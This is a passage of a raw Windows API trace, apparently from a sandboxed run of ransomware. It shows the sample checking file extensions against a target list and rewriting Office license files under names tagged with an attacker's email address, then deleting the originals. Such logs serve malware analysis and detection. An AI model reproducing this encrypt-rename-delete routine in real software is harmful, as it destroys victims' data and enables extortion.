	[0195.925] WriteFile (in: hFile=0x574, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x110, lpOverlapped=0x0) returned 1
	[0195.925] SetEndOfFile (hFile=0x574) returned 1
	[0195.926] CloseHandle (hObject=0x574) returned 1
	[0195.926] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.926] SetEndOfFile (hFile=0x5e0) returned 1
	[0195.929] CloseHandle (hObject=0x5e0) returned 1
	[0195.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0195.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms")) returned 1
	[0195.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0195.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0195.930] lstrlenW (lpString=".doc") returned 4
	[0195.930] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0195.931] lstrlenW (lpString=".docx") returned 5
	[0195.931] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0195.931] lstrlenW (lpString=".pdf") returned 4
	[0195.931] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0195.931] lstrlenW (lpString=".xls") returned 4
	[0195.931] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0195.931] lstrlenW (lpString=".xlsx") returned 5
	[0195.931] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0195.931] lstrlenW (lpString=".ppt") returned 4
	[0195.931] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0195.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0195.931] lstrlenW (lpString=".zip") returned 4
	[0195.931] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0195.931] lstrlenW (lpString=".rar") returned 4
	[0195.931] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0195.931] lstrlenW (lpString=".bz2") returned 4
	[0195.931] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0195.931] lstrlenW (lpString=".7z") returned 3
	[0195.931] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0195.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0195.931] lstrlenW (lpString=".dbf") returned 4
	[0195.931] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0195.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0195.931] lstrlenW (lpString=".1cd") returned 4
	[0195.931] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0195.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0195.931] lstrlenW (lpString=".jpg") returned 4
	[0195.931] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0195.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0195.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0195.931] lstrlenW (lpString=".doc") returned 4
	[0195.932] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0195.932] lstrlenW (lpString=".docx") returned 5
	[0195.932] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0195.932] lstrlenW (lpString=".pdf") returned 4
	[0195.932] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0195.932] lstrlenW (lpString=".xls") returned 4
	[0195.932] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0195.932] lstrlenW (lpString=".xlsx") returned 5
	[0195.932] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0195.932] lstrlenW (lpString=".ppt") returned 4
	[0195.932] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0195.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0195.932] lstrlenW (lpString=".zip") returned 4
	[0195.932] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0195.932] lstrlenW (lpString=".rar") returned 4
	[0195.932] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0195.932] lstrlenW (lpString=".bz2") returned 4
	[0195.932] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0195.932] lstrlenW (lpString=".7z") returned 3
	[0195.932] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0195.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0195.932] lstrlenW (lpString=".dbf") returned 4
	[0195.932] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0195.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0195.932] lstrlenW (lpString=".1cd") returned 4
	[0195.932] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0195.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0195.932] lstrlenW (lpString=".jpg") returned 4
	[0195.932] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0195.933] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0195.933] lstrlenW (lpString="HomeBusinessR_Trial-ul-oob.xrm-ms") returned 33
	[0195.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0195.933] GetFileSizeEx (in: hFile=0x5e0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=11621) returned 1
	[0195.933] CloseHandle (hObject=0x5e0) returned 1
	[0195.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms")) returned 0x220
	[0195.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0195.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0195.934] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.934] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0195.935] GetLastError () returned 0x0
	[0195.935] ReadFile (in: hFile=0x5e0, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x2d65, lpOverlapped=0x0) returned 1
	[0195.937] WriteFile (in: hFile=0x574, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0195.938] ReadFile (in: hFile=0x5e0, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0195.939] WriteFile (in: hFile=0x574, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x116, lpOverlapped=0x0) returned 1
	[0195.939] SetEndOfFile (hFile=0x574) returned 1
	[0195.939] CloseHandle (hObject=0x574) returned 1
	[0195.939] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.939] SetEndOfFile (hFile=0x5e0) returned 1
	[0195.945] CloseHandle (hObject=0x5e0) returned 1
	[0195.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0195.945] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms")) returned 1
	[0195.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0195.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0195.946] lstrlenW (lpString=".doc") returned 4
	[0195.946] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0195.946] lstrlenW (lpString=".docx") returned 5
	[0195.946] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0195.946] lstrlenW (lpString=".pdf") returned 4
	[0195.947] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0195.947] lstrlenW (lpString=".xls") returned 4
	[0195.947] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0195.947] lstrlenW (lpString=".xlsx") returned 5
	[0195.947] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0195.947] lstrlenW (lpString=".ppt") returned 4
	[0195.947] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0195.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0195.947] lstrlenW (lpString=".zip") returned 4
	[0195.947] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0195.947] lstrlenW (lpString=".rar") returned 4
	[0195.947] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0195.947] lstrlenW (lpString=".bz2") returned 4
	[0195.947] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0195.947] lstrlenW (lpString=".7z") returned 3
	[0195.947] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0195.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0195.947] lstrlenW (lpString=".dbf") returned 4
	[0195.947] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0195.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0195.947] lstrlenW (lpString=".1cd") returned 4
	[0195.947] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0195.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0195.947] lstrlenW (lpString=".jpg") returned 4
	[0195.947] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0195.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0195.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0195.947] lstrlenW (lpString=".doc") returned 4
	[0195.947] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0195.947] lstrlenW (lpString=".docx") returned 5
	[0195.947] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0195.948] lstrlenW (lpString=".pdf") returned 4
	[0195.948] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0195.948] lstrlenW (lpString=".xls") returned 4
	[0195.948] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0195.948] lstrlenW (lpString=".xlsx") returned 5
	[0195.948] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0195.948] lstrlenW (lpString=".ppt") returned 4
	[0195.948] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0195.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0195.948] lstrlenW (lpString=".zip") returned 4
	[0195.948] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0195.948] lstrlenW (lpString=".rar") returned 4
	[0195.948] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0195.948] lstrlenW (lpString=".bz2") returned 4
	[0195.948] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0195.948] lstrlenW (lpString=".7z") returned 3
	[0195.948] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0195.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0195.948] lstrlenW (lpString=".dbf") returned 4
	[0195.948] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0195.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0195.948] lstrlenW (lpString=".1cd") returned 4
	[0195.948] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0195.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83
	[0195.948] lstrlenW (lpString=".jpg") returned 4
	[0195.948] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0195.948] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0195.948] lstrlenW (lpString="HomeBusinessR_Trial2-pl.xrm-ms") returned 30
	[0195.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0195.949] GetFileSizeEx (in: hFile=0x5e0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=11171) returned 1
	[0195.949] CloseHandle (hObject=0x5e0) returned 1
	[0195.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms")) returned 0x220
	[0195.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0195.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0195.950] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.950] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0195.956] GetLastError () returned 0x0
	[0195.956] ReadFile (in: hFile=0x5e0, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x2ba3, lpOverlapped=0x0) returned 1
	[0196.061] WriteFile (in: hFile=0x574, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0196.062] ReadFile (in: hFile=0x5e0, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0196.062] WriteFile (in: hFile=0x574, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x110, lpOverlapped=0x0) returned 1
	[0196.062] SetEndOfFile (hFile=0x574) returned 1
	[0196.062] CloseHandle (hObject=0x574) returned 1
	[0196.062] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.062] SetEndOfFile (hFile=0x5e0) returned 1
	[0196.065] CloseHandle (hObject=0x5e0) returned 1
	[0196.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0196.440] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-pl.xrm-ms")) returned 1
	[0196.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0196.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0196.517] lstrlenW (lpString=".doc") returned 4
	[0196.517] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0196.517] lstrlenW (lpString=".docx") returned 5
	[0196.518] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0196.518] lstrlenW (lpString=".pdf") returned 4
	[0196.518] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0196.518] lstrlenW (lpString=".xls") returned 4
	[0196.518] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0196.518] lstrlenW (lpString=".xlsx") returned 5
	[0196.518] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0196.518] lstrlenW (lpString=".ppt") returned 4
	[0196.518] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0196.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0196.518] lstrlenW (lpString=".zip") returned 4
	[0196.518] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0196.518] lstrlenW (lpString=".rar") returned 4
	[0196.518] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0196.518] lstrlenW (lpString=".bz2") returned 4
	[0196.518] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0196.518] lstrlenW (lpString=".7z") returned 3
	[0196.518] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0196.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0196.518] lstrlenW (lpString=".dbf") returned 4
	[0196.518] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0196.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0196.518] lstrlenW (lpString=".1cd") returned 4
	[0196.518] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0196.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0196.518] lstrlenW (lpString=".jpg") returned 4
	[0196.518] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0196.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0196.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0196.518] lstrlenW (lpString=".doc") returned 4
	[0196.518] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0196.518] lstrlenW (lpString=".docx") returned 5
	[0196.519] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0196.519] lstrlenW (lpString=".pdf") returned 4
	[0196.519] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0196.519] lstrlenW (lpString=".xls") returned 4
	[0196.519] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0196.519] lstrlenW (lpString=".xlsx") returned 5
	[0196.519] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0196.519] lstrlenW (lpString=".ppt") returned 4
	[0196.519] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0196.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0196.519] lstrlenW (lpString=".zip") returned 4
	[0196.519] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0196.519] lstrlenW (lpString=".rar") returned 4
	[0196.519] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0196.519] lstrlenW (lpString=".bz2") returned 4
	[0196.519] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0196.519] lstrlenW (lpString=".7z") returned 3
	[0196.519] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0196.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0196.519] lstrlenW (lpString=".dbf") returned 4
	[0196.519] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0196.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0196.519] lstrlenW (lpString=".1cd") returned 4
	[0196.519] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0196.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-pl.xrm-ms") returned 80
	[0196.519] lstrlenW (lpString=".jpg") returned 4
	[0196.519] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0196.519] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0196.520] lstrlenW (lpString="HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 41
	[0196.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0196.520] GetFileSizeEx (in: hFile=0x5e0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=11215) returned 1
	[0196.520] CloseHandle (hObject=0x5e0) returned 1
	[0196.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms")) returned 0x220
	[0196.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0196.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0196.728] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.728] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
